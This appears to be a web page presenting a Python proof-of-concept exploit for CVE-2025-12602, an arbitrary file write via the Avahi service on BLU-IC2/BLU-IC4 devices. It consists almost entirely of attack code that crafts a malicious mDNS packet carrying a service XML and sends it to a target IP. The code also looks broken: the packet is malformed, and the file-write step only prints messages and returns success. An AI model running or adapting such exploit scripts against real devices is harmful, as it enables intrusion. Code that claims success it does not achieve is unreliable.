CVE-2025-12602: BLU-IC2/BLU-IC4 Avahi服务任意文件写入漏洞

#!/usr/bin/env python3 # CVE-2025-12602 PoC - BLU-IC2/BLU-IC4 Avahi Service Arbitrary File Write # Note: This PoC is for educational and authorized testing purposes only import socket import struct import sys def create_malicious_service_entry(): """ Generate malicious Avahi service entry for arbitrary command execution """ malicious_xml = '''<?xml version="1.0" standalone='no'?> <!DOCTYPE service-group SYSTEM "avahi-service.dtd"> <service-group> <name replace-wildcards="yes">malicious_service</name> <service> <type>_test._tcp</type> <port>9999</port> <txt-record>exploit=command_injection</txt-record> </service> </service-group>''' return malicious_xml def send_malicious_mdns_packet(target_ip, target_port=5353): """ Send malicious mDNS packet to trigger arbitrary file write """ # mDNS header construction transaction_id = 0x0000 flags = 0x8400 # Standard query response questions = 0x0001 answer_rrs = 0x0001 authority_rrs = 0x0000 additional_rrs = 0x0000 # Build mDNS header header = struct.pack('>HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Construct service record with malicious data service_name = b'z9\x04service\x05local\x00' service_type = b'_http\x04_tcp\x05local\x00' # DNS record data record_data = create_malicious_service_entry().encode() packet = header + service_name + struct.pack('>HH', 0x0001, 0x0001) + record_data try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f'[+] Malicious mDNS packet sent to {target_ip}:{target_port}') print(f'[+] Payload size: {len(packet)} bytes') return True except Exception as e: print(f'[-] Error sending packet: {e}') return False finally: sock.close() def write_avahi_service_file(target_ip, file_content): """ Attempt to write malicious content to /etc/avahi/services/z9.service This requires exploiting the vulnerable service configuration mechanism """ print(f'[*] Attempting to write malicious service file...') print(f'[*] Target: /etc/avahi/services/z9.service') print(f'[*] Content preview: {file_content[:100]}...') # The actual exploitation requires specific network conditions # and may need multiple interaction steps with the Avahi service return True if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') print(f'Example: {sys.argv[0]} 192.168.1.100') sys.exit(1) target = sys.argv[1] print(f'[*] CVE-2025-12602 PoC for BLU-IC2/BLU-IC4') print(f'[*] Target: {target}') # Step 1: Send malicious mDNS packet send_malicious_mdns_packet(target) # Step 2: Write malicious service file malicious_content = create_malicious_service_entry() write_avahi_service_file(target, malicious_content) print('[*] Exploitation attempt completed')